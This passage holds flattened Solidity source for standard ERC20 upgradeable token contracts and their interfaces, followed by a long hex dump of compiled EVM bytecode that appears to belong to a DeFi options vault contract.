decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256[45] private __gap; } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; interface IWETH { function deposit() external payable; function withdraw(uint256) external; function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function decimals() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
0x60806040526004361061049f5760003560e01c8063980db6f411610260578063ce7c2ac211610144578063e73c63d5116100c1578063f6326fb311610085578063f6326fb3146110a7578063f656ba51146110af578063f756fa21146110e4578063f957a067146110f9578063f9a0be6814611119578063fe56e2321461113a57600080fd5b8063e73c63d51461101c578063e74b981b14611032578063ea00b1ca14611052578063f2fde38b14611067578063f60f76451461108757600080fd5b8063db006a7511610108578063db006a7514610f53578063db43e86214610f73578063dc4e9bef14610fa7578063dd62ed3e14610fc1578063df5af13f1461100757600080fd5b8063ce7c2ac214610ea9578063d13f1b3e14610ec9578063d164cc1514610ee9578063d5f2638214610f09578063d826492014610f1f57600080fd5b8063a6f7f5d6116101dd578063afa66264116101a1578063afa6626414610de9578063b4d1d79514610e09578063b6b55f2514610e20578063b9f8092b14610e40578063be9d7d5714610e55578063c74c0fac14610e7557600080fd5b8063a6f7f5d614610d4a578063a9059cbb14610d60578063aced166114610d80578063ad5c464814610da0578063ad7a672f14610dd457600080fd5b8063a285c9e811610224578063a285c9e814610caa578063a2db9d8314610ccc578063a457c2d714610cea578063a497e67414610d0a578063a694fc3a14610d2a57600080fd5b8063980db6f414610b4657806399530b0614610b665780639be43daa14610b7b5780639fcc2d7514610b9b578063a083ff1714610c4757600080fd5b8063503c70aa1161038757806370a082311161030457806387153eb1116102c857806387153eb114610a7e5780638778878214610aab57806389a3027114610ac15780638b10cc7c14610af55780638da5cb5b14610b1357806395d89b4114610b3157600080fd5b806370a0823114610999578063715018a6146109cf5780637a9262a2146109e45780637e108d5214610a4857806383536ff314610a6857600080fd5b806369b411701161034b57806369b41170146109065780636b64c7691461091b5780636c10f66c146109305780636f31ab341461096457806370897b231461097957600080fd5b8063503c70aa1461080357806355489bb214610819578063600a2cfb14610839578063650cce8a1461084e5780636719b2ee1461088257600080fd5b8063313ce567116104205780633f23bb73116103e45780633f23bb731461074f5780633f90916a1461076f578063432833a61461078d5780634603c0aa146107a357806346904840146107c357806347786d37146107e357600080fd5b8063313ce56714610699578063355274ea146106c357806336efd16f146106e157806339509351146107015780633ec143d31461072157600080fd5b80631a92f6c2116104675780631a92f6c21461055a57806323b872dd146105a65780632728f333146105c65780632775d01c1461065957806330630da41461067957600080fd5b8063048bf085146104a457806306fdde03146104c6578063095ea7b3146104f15780630cbf54c81461052157806318160ddd14610545575b600080fd5b3480156104b057600080fd5b506104c46104bf366004615519565b61115a565b005b3480156104d257600080fd5b506104db6111b0565b6040516104e89190615a58565b60405180910390f35b3480156104fd57600080fd5b5061051161050c3660046155ad565b611242565b60405190151581526020016104e8565b34801561052d57600080fd5b5061053760fb5481565b6040519081526020016104e8565b34801561055157600080fd5b50609954610537565b34801561056657600080fd5b5061058e7f0000000000000000000000004ccc2339f87f6c59c6893e1a678c2266ca58dc7281565b6040516001600160a01b0390911681526020016104e8565b3480156105b257600080fd5b506105116105c136600461556d565b611259565b3480156105d257600080fd5b5060cf5460d0546106149161ffff8116916001600160681b03620100008304811692600160781b900416906001600160801b0380821691600160801b90041685565b6040805161ffff90961686526001600160681b03948516602087015293909216928401929092526001600160801b03918216606084015216608082015260a0016104e8565b34801561066557600080fd5b506104c4610674366004615756565b611305565b34801561068557600080fd5b506104c4610694366004615519565b6114a8565b3480156106a557600080fd5b5060cc54610100900460ff1660405160ff90911681526020016104e8565b3480156106cf57600080fd5b5060ce546001600160681b0316610537565b3480156106ed57600080fd5b506104c46106fc36600461576e565b611540565b34801561070d57600080fd5b5061051161071c3660046155ad565b6115c8565b34801561072d57600080fd5b5060f95461073c9061ffff1681565b60405161ffff90911681526020016104e8565b34801561075b57600080fd5b5061053761076a366004615519565b611604565b34801561077b57600080fd5b5060d0546001600160801b0316610537565b34801561079957600080fd5b5061053760fc5481565b3480156107af57600080fd5b506104c46107be366004615519565b611657565b3480156107cf57600080fd5b5060d35461058e906001600160a01b031681565b3480156107ef57600080fd5b506104c46107fe366004615756565b6116f9565b34801561080f57600080fd5b5061053760fd5481565b34801561082557600080fd5b506104c461083436600461572f565b6117d4565b34801561084557600080fd5b506104c461186c565b34801561085a57600080fd5b5061058e7f0000000000000000000000005934807cc0654d46755ebd2848840b616256c6ef81565b34801561088e57600080fd5b506108d561089d366004615519565b60c96020526000908152604090205461ffff8116906201000081046001600160681b031690600160781b90046001600160801b031683565b6040805161ffff90941684526001600160681b0390921660208401526001600160801b0316908201526060016104e8565b34801561091257600080fd5b50610537600081565b34801561092757600080fd5b506104c46119c7565b34801561093c57600080fd5b5061058e7f0000000000000000000000000b7ffc1f4ad541a4ed16b40d8c37f0929158d10181565b34801561097057600080fd5b506104c4611a27565b34801561098557600080fd5b506104c4610994366004615756565b611a5e565b3480156109a557600080fd5b506105376109b4366004615519565b6001600160a01b031660009081526097602052604090205490565b3480156109db57600080fd5b506104c4611b25565b3480156109f057600080fd5b50610a266109ff366004615519565b60cb6020526000908152604090205461ffff8116906201000090046001600160801b031682565b6040805161ffff90931683526001600160801b039091166020830152016104e8565b348015610a5457600080fd5b506104c4610a63366004615756565b611b5b565b348015610a7457600080fd5b5061053760f75481565b348015610a8a57600080fd5b50610537610a99366004615756565b60ca6020526000908152604090205481565b348015610ab757600080fd5b5061053760d55481565b348015610acd57600080fd5b5061058e7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b348015610b0157600080fd5b5060d2546001600160a01b031661058e565b348015610b1f57600080fd5b506065546001600160a01b031661058e565b348015610b3d57600080fd5b506104db611d96565b348015610b5257600080fd5b506104c4610b61366004615666565b611da5565b348015610b7257600080fd5b50610537611e6c565b348015610b8757600080fd5b506104c4610b96366004615756565b611ea6565b348015610ba757600080fd5b5060cc5460cd5460ce54610bf79260ff808216936101008304909116926001600160a01b036201000090930483169282169166ffffffffffffff600160a01b90910416906001600160681b031686565b60408051961515875260ff90951660208701526001600160a01b03938416948601949094529116606084015266ffffffffffffff1660808301526001600160681b031660a082015260c0016104e8565b348015610c5357600080fd5b5060d15460d254610c7e916001600160a01b039081169190811690600160a01b900463ffffffff1683565b604080516001600160a01b03948516815293909216602084015263ffffffff16908201526060016104e8565b348015610cb657600080fd5b5060d254600160a01b900463ffffffff16610537565b348015610cd857600080fd5b5060d1546001600160a01b031661058e565b348015610cf657600080fd5b50610511610d053660046155ad565b611fa0565b348015610d1657600080fd5b506104c4610d25366004615756565b612039565b348015610d3657600080fd5b506104c4610d45366004615756565b6120f6565b348015610d5657600080fd5b5061053760d65481565b348015610d6c57600080fd5b50610511610d7b3660046155ad565b6121e7565b348015610d8c57600080fd5b5060d45461058e906001600160a01b031681565b348015610dac57600080fd5b5061058e7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b348015610de057600080fd5b506105376121f4565b348015610df557600080fd5b5060f55461058e906001600160a01b031681565b348015610e1557600080fd5b5061053762093a8081565b348015610e2c57600080fd5b506104c4610e3b366004615756565b612293565b348015610e4c57600080fd5b506104c4612307565b348015610e6157600080fd5b506104c4610e70366004615756565b6124ce565b348015610e8157600080fd5b5061058e7f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f98481565b348015610eb557600080fd5b50610537610ec4366004615519565b612684565b348015610ed557600080fd5b506104c4610ee4366004615756565b6126a1565b348015610ef557600080fd5b506104c4610f04366004615519565b612765565b348015610f1557600080fd5b5061053760f85481565b348015610f2b57600080fd5b5061058e7f000000000000000000000000e592427a0aece92de3edee1f18e0157c0586156481565b348015610f5f57600080fd5b506104c4610f6e366004615756565b6127f4565b348015610f7f57600080fd5b5061058e7f0000000000000000000000007c06792af1632e77cb27a558dc0885338f4bdf8e81565b348015610fb357600080fd5b5060fe546105119060ff1681565b348015610fcd57600080fd5b50610537610fdc366004615535565b6001600160a01b03918216600090815260986020908152604080832093909416825291909152205490565b34801561101357600080fd5b506104db612861565b34801561102857600080fd5b5061053760fa5481565b34801561103e57600080fd5b506104c461104d366004615519565b6128ef565b34801561105e57600080fd5b506104c46129e2565b34801561107357600080fd5b506104c4611082366004615519565b612c86565b34801561109357600080fd5b506104c46110a23660046156d3565b612d21565b6104c461311a565b3480156110bb57600080fd5b506110cf6110ca366004615519565b613260565b604080519283526020830191909152016104e8565b3480156110f057600080fd5b506104c4613343565b34801561110557600080fd5b5060f65461058e906001600160a01b031681565b34801561112557600080fd5b506101005461058e906001600160a01b031681565b34801561114657600080fd5b506104c4611155366004615756565b613398565b6065546001600160a01b0316331461118d5760405162461bcd60e51b815260040161118490615ada565b60405180910390fd5b61010080546001600160a01b0319166001600160a01b0392909216919091179055565b6060609a80546111bf90615d38565b80601f01602080910402602001604051908101604052809291908181526020018280546111eb90615d38565b80156112385780601f1061120d57610100808354040283529160200191611238565b820191906000526020600020905b81548152906001019060200180831161121b57829003601f168201915b5050505050905090565b600061124f338484613479565b5060015b92915050565b600061126684848461359e565b6001600160a01b0384166000908152609860209081526040808320338452909152902054828110156112eb5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401611184565b6112f88533858403613479565b60019150505b9392505050565b600260015414156113285760405162461bcd60e51b815260040161118490615b30565b600260015533600090815260c96020526040902060cf5461ffff16826113605760405162461bcd60e51b815260040161118490615b0f565b815461ffff1681146113a45760405162461bcd60e51b815260206004820152600d60248201526c125b9d985b1a59081c9bdd5b99609a1b6044820152606401611184565b81546201000090046001600160681b0316838110156113f55760405162461bcd60e51b815260206004820152600d60248201526c115e18d9595908185b5bdd5b9d609a1b6044820152606401611184565b6113ff818561376e565b83546001600160681b0391909116620100000262010000600160781b031990911617835560d054611439906001600160801b03168561376e565b60d080546001600160801b0319166001600160801b0392909216919091179055604080518581526020810184905233917fab2daf3c146ca6416cbccd2a86ed2ba995e171ef6319df14a38aef01403a9c96910160405180910390a261149e338561377a565b5050600180555050565b6065546001600160a01b031633146114d25760405162461bcd60e51b815260040161118490615ada565b6001600160a01b03811661151e5760405162461bcd60e51b815260206004820152601360248201527210b732bba9ba3934b5b2a9b2b632b1ba34b7b760691b6044820152606401611184565b60f680546001600160a01b0319166001600160a01b0392909216919091179055565b600260015414156115635760405162461bcd60e51b815260040161118490615b30565b6002600155816115855760405162461bcd60e51b815260040161118490615b0f565b6001600160a01b03811661159857600080fd5b6115a282826138db565b60cc546115c0906201000090046001600160a01b0316333085613b6d565b505060018055565b3360008181526098602090815260408083206001600160a01b0387168452909152812054909161124f9185906115ff908690615bb3565b613479565b60cc5460009060ff610100909104168161163a61162060995490565b6116286121f4565b60d0546001600160801b031685613bd8565b905061164f61164885612684565b8284613c18565b949350505050565b6065546001600160a01b031633146116815760405162461bcd60e51b815260040161118490615ada565b6001600160a01b0381166116d75760405162461bcd60e51b815260206004820152601860248201527f216e65774f7074696f6e735072656d69756d50726963657200000000000000006044820152606401611184565b60f580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031633146117235760405162461bcd60e51b815260040161118490615ada565b6000811161175d5760405162461bcd60e51b81526020600482015260076024820152660216e65774361760cc1b6044820152606401611184565b61176681613c7a565b60ce54604080516001600160681b039092168252602082018390527f5f86edbb9d92228a9edc3f0ebc0f001bda1ea345ac7335e0eeef3504b31d1a1c910160405180910390a160ce80546cffffffffffffffffffffffffff19166001600160681b0392909216919091179055565b6065546001600160a01b031633146117fe5760405162461bcd60e51b815260040161118490615ada565b6000816001600160801b0316116118465760405162461bcd60e51b815260206004820152600c60248201526b21737472696b65507269636560a01b6044820152606401611184565b6001600160801b031660fa5560cf5460f9805461ffff191661ffff909216919091179055565b60d4546001600160a01b031633146118965760405162461bcd60e51b815260040161118490615a6b565b600260015414156118b95760405162461bcd60e51b815260040161118490615b30565b600260015560d2546040516358ffbb3d60e01b81526001600160a01b037f0000000000000000000000004ccc2339f87f6c59c6893e1a678c2266ca58dc7281166004830152909116602482015260009073883391710ef00f129ed34d0118249abfb5c73531906358ffbb3d9060440160206040518083038186803b15801561194057600080fd5b505af4158015611954573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611978919061564e565b60cf54909150611997906201000090046001600160681b03168261376e565b60cf80546001600160681b0392909216620100000262010000600160781b03199092169190911790555060018055565b60d4546001600160a01b031633146119f15760405162461bcd60e51b815260040161118490615a6b565b60026001541415611a145760405162461bcd60e51b815260040161118490615b30565b6002600155611a21613cc4565b60018055565b60026001541415611a4a5760405162461bcd60e51b815260040161118490615b30565b6002600181905550611a2160006001613ebd565b6065546001600160a01b03163314611a885760405162461bcd60e51b815260040161118490615ada565b611a96620f42406064615cd6565b8110611ae45760405162461bcd60e51b815260206004820152601760248201527f496e76616c696420706572666f726d616e6365206665650000000000000000006044820152606401611184565b60d55460408051918252602082018390527f24867dfb6fcb9970a07be21024956524abe7a1837faa903ff0e99aaa40cf893e910160405180910390a160d555565b6065546001600160a01b03163314611b4f5760405162461bcd60e51b815260040161118490615ada565b611b59600061406c565b565b60026001541415611b7e5760405162461bcd60e51b815260040161118490615b30565b600260015580611bbd5760405162461bcd60e51b815260206004820152600a602482015269216e756d53686172657360b01b6044820152606401611184565b33600090815260c960205260409020546201000090046001600160681b0316151580611c07575033600090815260c96020526040902054600160781b90046001600160801b031615155b15611c1857611c1860006001613ebd565b60cf5433600081815260cb60209081526040918290208054835187815261ffff96871693810184905292959194911685149290917f0c53c82ad07e2d592d88ece3b066777dd60f1118e2a081b380efc4358f0d9e2a910160405180910390a281546201000090046001600160801b031660008215611ca157611c9a82876140be565b9050611d04565b8115611ce35760405162461bcd60e51b81526020600482015260116024820152704578697374696e6720776974686472617760781b6044820152606401611184565b5033600090815260cb60205260409020805461ffff191661ffff8616179055845b611d0d816140ca565b33600090815260cb6020526040812080546001600160801b03808516620100000262010000600160901b03199092169190911790915560d054611d5991600160801b90910416886140be565b9050611d64816140ca565b60d080546001600160801b03808416600160801b029116179055611d8933308961359e565b5050600180555050505050565b6060609b80546111bf90615d38565b6065546001600160a01b03163314611dcf5760405162461bcd60e51b815260040161118490615ada565b60fe5460ff16611e125760405162461bcd60e51b815260206004820152600e60248201526d10b4b9aab9b231a0bab1ba34b7b760911b6044820152606401611184565b611e1c8282614114565b611e5b5760405162461bcd60e51b815260206004820152601060248201526f092dcecc2d8d2c840e6eec2e0a0c2e8d60831b6044820152606401611184565b611e6760ff83836153e6565b505050565b6000611ea1611e7a60995490565b611e826121f4565b60d05460cc546001600160801b0390911690610100900460ff16613bd8565b905090565b60026001541415611ec95760405162461bcd60e51b815260040161118490615b30565b600260015580611f085760405162461bcd60e51b815260206004820152600a602482015269216e756d526f756e647360b01b6044820152606401611184565b60cf5461ffff1660005b82811015611f97576000611f268284615bb3565b600081815260ca602052604090205490915015611f735760405162461bcd60e51b815260206004820152600b60248201526a125b9a5d1a585b1a5e995960aa1b6044820152606401611184565b600090815260ca602052604090206001905580611f8f81615d73565b915050611f12565b50506001805550565b3360009081526098602090815260408083206001600160a01b0386168452909152812054828110156120225760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401611184565b61202f3385858403613479565b5060019392505050565b6065546001600160a01b031633146120635760405162461bcd60e51b815260040161118490615ada565b61012c8110156120b55760405162461bcd60e51b815260206004820152601860248201527f496e76616c69642061756374696f6e206475726174696f6e00000000000000006044820152606401611184565b60fb5460408051918252602082018390527f5acd982e2240ed224a69aa03dab039d3797c108e4b5f288cd7dd6ca181b275f3910160405180910390a160fb55565b600260015414156121195760405162461bcd60e51b815260040161118490615b30565b6002600155610100546001600160a01b03168061213557600080fd5b6000821161214257600080fd5b336000908152609760205260409020548281101561216e5761216e612167848361376e565b6000613ebd565b61217933308561359e565b612184308385613479565b6040516383df674760e01b815260048101849052336024820152600060448201526001600160a01b038316906383df674790606401600060405180830381600087803b1580156121d357600080fd5b505af1158015611d89573d6000803e3d6000fd5b600061124f33848461359e565b60cc546040516370a0823160e01b8152306004820152600091611ea191620100009091046001600160a01b0316906370a082319060240160206040518083038186803b15801561224357600080fd5b505afa158015612257573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061227b919061564e565b60cf546201000090046001600160681b0316906140be565b600260015414156122b65760405162461bcd60e51b815260040161118490615b30565b6002600155806122d85760405162461bcd60e51b815260040161118490615b0f565b6122e281336138db565b60cc54612300906201000090046001600160a01b0316333084613b6d565b5060018055565b60d4546001600160a01b031633146123315760405162461bcd60e51b815260040161118490615a6b565b600260015414156123545760405162461bcd60e51b815260040161118490615b30565b6002600181905550600080600061236c60fd546141f7565b60fd8190559194509250905061238182613c7a565b60cf805462010000600160781b031916620100006001600160681b0385160217905560405182815233906001600160a01b038516907f045c558fdce4714c5816d53820d27420f4cd860892df203fe636384d8d19aa019060200160405180910390a3604051632904c23960e01b81526001600160a01b037f0000000000000000000000004ccc2339f87f6c59c6893e1a678c2266ca58dc72811660048301527f0000000000000000000000005934807cc0654d46755ebd2848840b616256c6ef81166024830152841660448201526064810183905273883391710ef00f129ed34d0118249abfb5c7353190632904c2399060840160206040518083038186803b15801561248d57600080fd5b505af41580156124a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124c5919061564e565b50611f97613cc4565b60d4546001600160a01b031633146124f85760405162461bcd60e51b815260040161118490615a6b565b6002600154141561251b5760405162461bcd60e51b815260040161118490615b30565b600260015560fe5460ff166125635760405162461bcd60e51b815260206004820152600e60248201526d10b4b9aab9b231a0bab1ba34b7b760911b6044820152606401611184565b600081116125a35760405162461bcd60e51b815260206004820152600d60248201526c085b5a5b905b5bdd5b9d13dd5d609a1b6044820152606401611184565b6125cf7f0000000000000000000000000b7ffc1f4ad541a4ed16b40d8c37f0929158d10160fc54614575565b604051637f0f41d760e01b815273883391710ef00f129ed34d0118249abfb5c7353190637f0f41d79061264d907f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb489085907f000000000000000000000000e592427a0aece92de3edee1f18e0157c058615649060ff90600401615941565b60006040518083038186803b15801561266557600080fd5b505af4158015612679573d6000803e3d6000fd5b505060018055505050565b600080600061269284613260565b909250905061164f82826140be565b6065546001600160a01b031633146126cb5760405162461bcd60e51b815260040161118490615ada565b6000811180156126e557506126e2600a6064615cd6565b81105b6127245760405162461bcd60e51b815260206004820152601060248201526f125b9d985b1a5908191a5cd8dbdd5b9d60821b6044820152606401611184565b60f75460408051918252602082018390527f4cd657fde404967d63a338fb06c5c98751a9df57dfae6dc333a432faf8a5f656910160405180910390a160f755565b6065546001600160a01b0316331461278f5760405162461bcd60e51b815260040161118490615ada565b6001600160a01b0381166127d25760405162461bcd60e51b815260206004820152600a60248201526910b732bba5b2b2b832b960b11b6044820152606401611184565b60d480546001600160a01b0319166001600160a01b0392909216919091179055565b600260015414156128175760405162461bcd60e51b815260040161118490615b30565b6002600155806128565760405162461bcd60e51b815260206004820152600a602482015269216e756d53686172657360b01b6044820152606401611184565b612300816000613ebd565b60ff805461286e90615d38565b80601f016020809104026020016040519081016040528092919081815260200182805461289a90615d38565b80156128e75780601f106128bc576101008083540402835291602001916128e7565b820191906000526020600020905b8154815290600101906020018083116128ca57829003601f168201915b505050505081565b6065546001600160a01b031633146129195760405162461bcd60e51b815260040161118490615ada565b6001600160a01b0381166129625760405162461bcd60e51b815260206004820152601060248201526f085b995dd19959549958da5c1a595b9d60821b6044820152606401611184565b60d3546001600160a01b03828116911614156129c05760405162461bcd60e51b815260206004820152601860248201527f4d757374206265206e657720666565526563697069656e7400000000000000006044820152606401611184565b60d380546001600160a01b0319166001600160a01b0392909216919091179055565b60026001541415612a055760405162461bcd60e51b815260040161118490615b30565b600260015560d2546040805160c0810182526001600160a01b037f0000000000000000000000007c06792af1632e77cb27a558dc0885338f4bdf8e811682527f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48811660208301908152938116828401818152600060